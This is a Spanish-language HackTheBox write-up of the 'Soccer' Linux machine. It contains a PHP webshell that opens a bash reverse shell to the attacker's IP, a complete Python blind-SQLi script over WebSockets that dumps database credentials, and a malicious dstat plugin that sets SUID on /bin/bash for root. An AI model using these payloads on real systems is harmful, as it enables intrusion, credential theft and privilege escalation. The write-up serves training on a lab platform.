Soccer

HackTheBox — Linux · Tiny File Manager RCE (CVE-2021-45010) → Blind SQLi vía WebSockets → doas + dstat → ROOT

● FÁCIL HACKTHEBOX LINUX CVE-2021-45010 BLIND SQLI WEBSOCKETS 📅 Junio 2026 · By Brandeiks

Resumen

Soccer es una máquina de dificultad fácil de la plataforma HackTheBox, que combina mala configuración de credenciales, un RCE conocido en una aplicación de gestión de archivos, e inyección SQL ciega sobre un canal poco habitual: WebSockets.

El punto de entrada es Tiny File Manager v2.4.3, expuesto bajo /tiny/, accesible con las credenciales por defecto del proyecto. Esta versión es vulnerable a CVE-2021-45010, que permite subir archivos arbitrarios — en este caso, una webshell en PHP que entrega una reverse shell como www-data.

Revisando la configuración de Nginx se descubre un vhost interno (soc-player.soccer.htb) que expone un sitio de venta de tickets. Su funcionalidad de verificación de tickets usa un WebSocket vulnerable a blind SQL injection, explotada con un script en Python para extraer credenciales de la base de datos soccer_db. Esas credenciales se reutilizan para autenticarse como el usuario del sistema player.

La escalada de privilegios aprovecha una regla mal configurada en doas (alternativa a sudo) que permite ejecutar dstat sin contraseña. Como dstat puede cargar plugins de Python arbitrarios, se crea uno malicioso que otorga el bit SUID a /bin/bash, obteniendo una shell como root.

FaseTécnica / HerramientaResultado
Escaneonmap -p- -sSCV --min-rate=5000 -oXPuertos 22 (SSH) y 80 (HTTP) abiertos
Reportexsltproc soccer.xmlReporte HTML visual del scan Nmap
Enum. Webferoxbuster --url http://soccer.htbRuta /tiny/ — Tiny File Manager 2.4.3
Acceso inicialCredenciales por defecto admin/admin@123Acceso al explorador de archivos
RCECVE-2021-45010 — upload de webshell PHPReverse shell como www-data
Post-explot./etc/nginx/sites-available/soc-player.htbvhost soc-player.soccer.htb descubierto
Enum. Web 2feroxbuster soc-player.soccer.htbRutas /login, /signup, /check
InyecciónBlind SQLi vía WebSocket (puerto 9091)Dump de soccer_db.accounts
Movimiento lateralPassword reuse — su playerShell como player + user.txt
Enum. Privescfind / -perm -4000 / doas.confdoas permite dstat sin password
PrivescPlugin malicioso dstat_evil.py (GTFOBins)chmod +s /bin/bash
Root/bin/bash -pShell como root + root.txt

Reconocimiento

1
ESCANEO DE PUERTOS CON NMAP

Se lanza un escaneo agresivo sobre todos los puertos, con detección de servicios y versión (-sSCV), sin resolución DNS (-n), sin ping previo (-Pn) y con una tasa mínima de paquetes alta para acelerar el escaneo.

NMAP
$ sudo nmap -p- -sSCV -n -Pn --min-rate=5000 --open 10.129.4.0 -oX soccer.xml
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
2
REPORTE VISUAL Y RESOLUCIÓN DE DOMINIO

El header http-title revela que el servidor redirige a soccer.htb. Se convierte el XML a HTML para una lectura más cómoda y se agrega el dominio al /etc/hosts local.

XSLTPROC
$ xsltproc /usr/share/nmap/nmap.xsl soccer.xml > soccer.html
HOSTS
$ echo '10.129.4.0 soccer.htb' | sudo tee -a /etc/hosts

Tiny File Manager

3
FUZZING DE DIRECTORIOS

Se fuzzea el sitio principal con Feroxbuster para descubrir rutas no enlazadas:

FEROXBUSTER
$ feroxbuster --url http://soccer.htb
200 GET http://soccer.htb/tiny/
301 GET http://soccer.htb/tiny/uploads/
4
IDENTIFICACIÓN DE VERSIÓN

/tiny/ expone el login de Tiny File Manager. Revisando el código fuente de la página (view-source:) se identifica la versión exacta del software.

class="text-muted" data-version="2.4.3">CCP Programmers</a>
5
CREDENCIALES POR DEFECTO

Tiny File Manager documenta públicamente sus credenciales por defecto en su propio sitio (tinyfilemanager.github.io). Muchas instalaciones nunca las cambian.

USUARIO
admin
CONTRASEÑA
admin@123

// ACCESO CONFIRMADO

Con estas credenciales se obtiene acceso completo al explorador de archivos en tinyfilemanager.php?p=, incluyendo subida de archivos.


Foothold — CVE-2021-45010

// CVE-2021-45010

Tiny File Manager <= 2.4.3 permite a un usuario autenticado subir archivos sin restricción de extensión, incluyendo .php, lo que resulta en ejecución remota de código sobre el servidor.

6
SUBIDA DE WEBSHELL
REVERSHELL.PHP
// revershell.php — code completo
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.7/443 0>&1'");
?>

Se navega a la carpeta de uploads dentro del explorador y se sube este archivo como revershell.php. Al ejecutarse en el servidor, abre una conexión inversa hacia la IP y puerto del atacante:

URL
$ http://soccer.htb/tiny/tinyfilemanager.php?p=tiny%2Fuploads&upload
7
LISTENER Y EJECUCIÓN

Se sube el archivo como revershell.php y se deja un listener en Kali antes de invocar el archivo desde el navegador:

NETCAT
$ sudo nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.129.4.0] 50898
www-data@soccer:~/html/tiny/uploads$

// FOOTHOLD CONFIRMADO

Al visitar /tiny/uploads/revershell.php desde el navegador, el archivo se ejecuta en el servidor y se recibe la conexión como www-data.


Pivote — Descubrimiento del vhost

8
CONFIGURACIONES DE NGINX

Dentro del sistema, se buscan archivos de configuración de Nginx que puedan revelar otros sitios alojados internamente:

FIND
$ find / -type d -name "nginx" 2>/dev/null
CAT
$ cat /etc/nginx/sites-available/soc-player.htb
server {
   server_name soc-player.soccer.htb;
   root /root/app/views;
   location / {
      proxy_pass http://localhost:3000;
   }
}
9
ENUMERACIÓN DEL NUEVO VHOST

Se agrega el nuevo subdominio al /etc/hosts local y se fuzzea con parámetros ajustados para evitar falsos positivos por redirecciones 302:

HOSTS
$ echo '10.129.4.0 soccer.htb soc-player.soccer.htb' | sudo tee -a /etc/hosts
FEROXBUSTER
$ feroxbuster -u http://soc-player.soccer.htb/ -C 302 -N 50 -W 200 -S 2000
200 GET http://soc-player.soccer.htb/login
200 GET http://soc-player.soccer.htb/signup
200 GET http://soc-player.soccer.htb/match
200 GET http://soc-player.soccer.htb/check

// HTB FOOTBALL CLUB

El sitio expone un sistema de venta de tickets para partidos. Tras registrarse en /signup, se obtiene acceso a /check, donde se valida el número de ticket.


Blind SQL Injection vía WebSockets

10
IDENTIFICACIÓN DEL CANAL VULNERABLE

El código fuente de /check revela que la validación del ticket no se hace por HTTP normal, sino mediante un WebSocket abierto en el puerto 9091:

var ws = new WebSocket("ws://soc-player.soccer.htb:9091");

El parámetro id enviado por el socket es vulnerable a inyección SQL ciega. El oráculo es el mensaje de error "Ticket Doesn't Exist": si está presente, el carácter probado es incorrecto.

11
SCRIPT DE EXTRACCIÓN (PYTHON + PWNTOOLS)
SQLI.PY — v1
# sqli.py — script completo (enumeración de bases de datos)
import websocket
import signal
import sys
import time
import string
import json
 
from pwn import *
from termcolor import colored
 
def def_handler(sig, frame):
    print(colored(f"\n\n[!] Saliendo...\n", 'red'))
    sys.exit(1)
 
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
 
characters = string.ascii_lowercase + "-_,"
ws = websocket.WebSocket()
ws.connect("ws://soc-player.soccer.htb:9091/")
 
def makeRequest():
    database = ""
    p1 = log.progress("SQLI")
    p1.status("Iniciando ataque de fuerza bruta")
    time.sleep(2)
    p2 = log.progress("Database Name")
    for i in range(1, 500):
        for character in characters:
            payload = {
                "id": "1 or substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s' " % (i, character)
            }
            ws.send(json.dumps(payload))
            data = ws.recv()
            if "Ticket Doesn't Exist" not in data:
                database += character
                p2.status(database)
                break
 
if __name__ == "__main__":
    makeRequest()

El código fuente de /check revela que la validación del ticket no se hace por HTTP normal, sino mediante un WebSocket abierto en el puerto 9091:

var ws = new WebSocket("ws://soc-player.soccer.htb:9091");

El parámetro id enviado por el socket es vulnerable a inyección SQL ciega. El oráculo es el mensaje de error "Ticket Doesn't Exist": si está presente, el carácter probado es incorrecto. El script anterior conecta al WebSocket y fuerza bruta cada posición de la consulta group_concat(schema_name) sobre information_schema.schemata para listar todas las bases de datos disponibles.

[o] SQLI: Iniciando ataque de fuerza bruta
[-] Database Name: mysql,information_schema,performance_schema,sys,soccer_db
12
ENUMERAR TABLAS DE soccer_db
DIFF — v2
# Cambios sobre sqli.py para listar tablas
p2 = log.progress("Tables Name [soccer_db]")
payload = {
    "id": "1 or substr((select group_concat(table_name) from information_schema.tables where table_schema='soccer_db'),%d,1)='%s' " % (i, character)
}

Se sustituye la consulta para apuntar a information_schema.tables, filtrando por el esquema soccer_db encontrado en el paso anterior, y se obtiene el nombre de la única tabla relevante:

[-] Tables Name [soccer_db]: accounts
13
ENUMERAR COLUMNAS DE accounts
DIFF — v3
# Cambios sobre sqli.py para listar columnas de "accounts"
p2 = log.progress("Columns Name [soccer_db]")
payload = {
    "id": "1 or substr((select group_concat(column_name) from information_schema.columns where table_schema='soccer_db' and table_name='accounts'),%d,1)='%s' " % (i, character)
}

Con la tabla accounts identificada, se consulta information_schema.columns para listar sus columnas:

[-] Columns Name [soccer_db]: id,email,username,password
14
EXTRACCIÓN DE CREDENCIALES
DIFF — v4 (FINAL)
# Cambios sobre sqli.py para extraer usuario:contraseña
characters = string.ascii_letters + string.digits + "-_,:@;!"
payload = {
    "id": "1 or binary substr((select group_concat(username,':',password) from soccer_db.accounts),%d,1)='%s' " % (i, character)
}

Se amplía el set de caracteres permitidos para cubrir letras, dígitos y símbolos comunes en contraseñas, y se concatenan usuario y contraseña en una sola consulta sobre soccer_db.accounts. La palabra clave binary fuerza una comparación sensible a mayúsculas/minúsculas, necesaria porque MySQL compara cadenas sin distinguir mayúsculas por defecto:

[o] SQLI: Iniciando ataque de fuerza bruta
[-] Extracción [soccer_db]: player:PlayerOftheMatch2022
USUARIO
player
CONTRASEÑA
PlayerOftheMatch2022

Acceso como player

15
REUTILIZACIÓN DE CREDENCIALES

Las credenciales extraídas de la base de datos web también son válidas para el usuario player del sistema operativo — un caso clásico de password reuse.

SU
$ su player
16
MEJORANDO LA TTY

Para tener una shell totalmente interactiva (autocompletado, Ctrl+C funcional, editores), se realiza el upgrade clásico de TTY:

PTY
$ python3 -c 'import pty; pty.spawn("/bin/bash")'

// SECUENCIA COMPLETA

1. En la shell remota: ejecutar el comando anterior, luego Ctrl+Z
2. En Kali: stty raw -echo; fg y pulsar Enter dos veces
3. En la shell remota: export TERM=xterm, export SHELL=/bin/bash, stty rows 50 columns 100, PS1='\u@\h:\w$ '

FLAG
$ cat /home/player/user.txt
127698292315b1fdd9c6f80da441ab5f

Escalada de privilegios

17
BÚSQUEDA DE BINARIOS SUID
FIND
$ find / -perm -4000 -type f 2>/dev/null
/usr/local/bin/doas
/usr/bin/su
/usr/bin/sudo
...

doas es una alternativa ligera a sudo originaria de OpenBSD. Se busca su archivo de configuración:

FIND
$ find / -name doas.conf 2>/dev/null
CAT
$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat

// REGLA PELIGROSA

El usuario player puede ejecutar dstat como root sin contraseña (nopass). dstat por sí solo no es peligroso — el problema es su soporte de plugins externos.

18
PLUGIN MALICIOSO PARA DSTAT (GTFOBINS)

Según GTFOBins, dstat puede cargar plugins de Python ubicados en rutas específicas, ejecutándolos con los mismos privilegios del proceso. Se verifica un directorio escribible por player:

LS
$ ls -l /usr/local/share | grep dstat
drwxrwx--- 2 root player 4096 Dec 12 2022 dstat
PLUGIN
$ cat > /usr/local/share/dstat/dstat_evil.py << 'EOF'
import os
os.system('chmod +s /bin/bash')
EOF

Root

19
EJECUCIÓN DEL PLUGIN VÍA DOAS

Se invoca dstat a través de doas, cargando el plugin evil (sin el sufijo .py):

DOAS
$ /usr/local/bin/doas /usr/bin/dstat --evil
Module dstat_evil failed to load. (name 'dstat_plugin' is not defined)
None of the stats you selected are available.

// EL PLUGIN "FALLA" — PERO YA SE EJECUTÓ

dstat falla en cargar el plugin como un módulo de estadísticas válido, pero el efecto secundario de os.system() ya ocurrió como root antes de que fallara la carga. El bit SUID quedó activo en /bin/bash.

SHELL
# /bin/bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
7e7cd69f31652f074464b1c21a6ba54d
USER FLAG
127698292315b1fdd9c6f80da441ab5f
ROOT FLAG
7e7cd69f31652f074464b1c21a6ba54d

Referencia de Comandos

feroxbuster
feroxbuster -u <url> -C <codes>
Fuzzer de directorios y archivos en Rust, rápido y con auto-filtrado de respuestas similares (wildcard).
  • -C — códigos de estado a filtrar/ignorar
  • -S — filtra por tamaño de respuesta
  • -N — número de resultados nuevos antes de auto-filtrar
doas
doas <comando>
Alternativa minimalista a sudo, originaria de OpenBSD. Sus reglas se definen en doas.conf con sintaxis permit/deny.
  • nopass — permite ejecutar sin pedir contraseña
  • cmd — restringe la regla a un binario específico
dstat
dstat --<plugin_name>
Herramienta de monitoreo de recursos del sistema en tiempo real, sucesora de vmstat/iostat. Soporta plugins de Python cargados como módulos externos.
  • plugins — buscados en ~/.dstat/, /usr/share/dstat/, /usr/local/share/dstat/
websocket (Python)
ws.connect("ws://host:port")
Librería Python para conectarse a servidores WebSocket, usada aquí para automatizar la extracción de datos mediante inyección SQL ciega.
  • ws.send() — envía el payload JSON
  • ws.recv() — recibe la respuesta del servidor

Glosario

Default Credentials (Credenciales por Defecto)
Son las credenciales preconfiguradas de fábrica en un software, documentadas públicamente por el propio desarrollador para facilitar la instalación inicial. El problema surge cuando el administrador nunca las cambia tras desplegar la aplicación, dejando una puerta de entrada trivial para cualquier atacante que conozca o busque esa documentación.
CVE-2021-45010 — Tiny File Manager Arbitrary File Upload
Vulnerabilidad en Tiny File Manager <= 2.4.3 que permite a un usuario autenticado subir archivos sin validar su extensión. Al permitir subir un archivo .php dentro del webroot, un atacante puede ejecutar código arbitrario en el servidor simplemente visitando la URL del archivo subido.
vhost — Virtual Host
Configuración de un servidor web (como Nginx o Apache) que permite alojar múltiples sitios independientes bajo una misma dirección IP, diferenciándolos por el nombre de dominio (server_name) enviado en la petición HTTP. Es habitual encontrar vhosts internos no listados en DNS público, descubribles solo revisando archivos de configuración del servidor.
Blind SQL Injection
Tipo de inyección SQL en la que la aplicación no devuelve directamente los datos extraídos de la base de datos. En su lugar, el atacante infiere información observando diferencias de comportamiento — un mensaje distinto, un cambio en el tiempo de respuesta, o un código de estado diferente — al variar la condición lógica inyectada (por ejemplo, substr(...)='a', ='b', etc., carácter por carácter).
WebSocket
Protocolo de comunicación que establece un canal bidireccional persistente entre cliente y servidor sobre una única conexión TCP, a diferencia del modelo petición-respuesta de HTTP tradicional. Es común en aplicaciones en tiempo real (chats, notificaciones, dashboards). Al ser menos auditado por defecto que los endpoints HTTP, los parámetros enviados por WebSocket a veces escapan a las validaciones de seguridad estándar — como ocurre en esta máquina.
information_schema
Base de datos especial presente en MySQL/MariaDB que contiene metadatos sobre todas las demás bases de datos del servidor: nombres de esquemas, tablas, columnas y tipos de datos. Es el primer objetivo de cualquier inyección SQL orientada a extracción de datos, ya que permite mapear la estructura completa antes de extraer contenido real.
Password Reuse (Reutilización de Contraseñas)
Práctica de usar la misma contraseña en múltiples cuentas o sistemas. En entornos comprometidos, es una de las técnicas de movimiento lateral más efectivas: credenciales extraídas de una base de datos web (capa de aplicación) frecuentemente coinciden con las del usuario del sistema operativo correspondiente, permitiendo escalar de un contexto a otro sin explotar nuevas vulnerabilidades.
doas — Alternativa a sudo
doas es una utilidad minimalista originaria de OpenBSD, portada a Linux, que cumple la misma función que sudo: permitir ejecutar comandos con privilegios elevados según reglas definidas. Su archivo de configuración (doas.conf) usa una sintaxis simple de tipo permit/deny. Reglas mal definidas — como permitir un binario con funcionalidad extensible sin restricciones — pueden convertirse en una vía directa de escalada de privilegios.
GTFOBins
Proyecto colaborativo que documenta binarios Unix legítimos que pueden ser abusados para evadir restricciones de seguridad locales — escalar privilegios, escapar de shells restringidas, leer o escribir archivos protegidos, entre otros. Es una referencia estándar al evaluar qué hacer con un binario SUID o una regla de sudo/doas inusual.
SUID (Set User ID)
Bit especial de permisos en sistemas Unix/Linux que, al activarse en un binario ejecutable, hace que este se ejecute con los privilegios de su propietario (frecuentemente root) en lugar de los del usuario que lo invoca. Es la técnica final usada en esta máquina: forzar que chmod +s /bin/bash se ejecute como root, dejando una bash con privilegios elevados disponible para cualquier usuario.
Plugin de Python en dstat
dstat es una herramienta de monitoreo de recursos que soporta extender sus métricas mediante plugins de Python ubicados en directorios predefinidos (~/.dstat/, /usr/share/dstat/, /usr/local/share/dstat/). Si un usuario tiene permiso de escritura sobre alguno de esos directorios y, además, puede ejecutar dstat como root (vía doas o sudo), puede colocar un plugin con código Python arbitrario que se ejecutará con privilegios de root al ser invocado — incluso si el plugin "falla" como módulo de estadísticas.
pwntools
Framework de Python orientado a explotación y CTFs, que provee utilidades como manejo de procesos remotos, logging con barras de progreso (log.progress), empaquetado de bytes, y manejo de señales. En esta máquina se usó principalmente para mostrar el progreso de la extracción de datos durante el ataque de fuerza bruta de la inyección SQL ciega.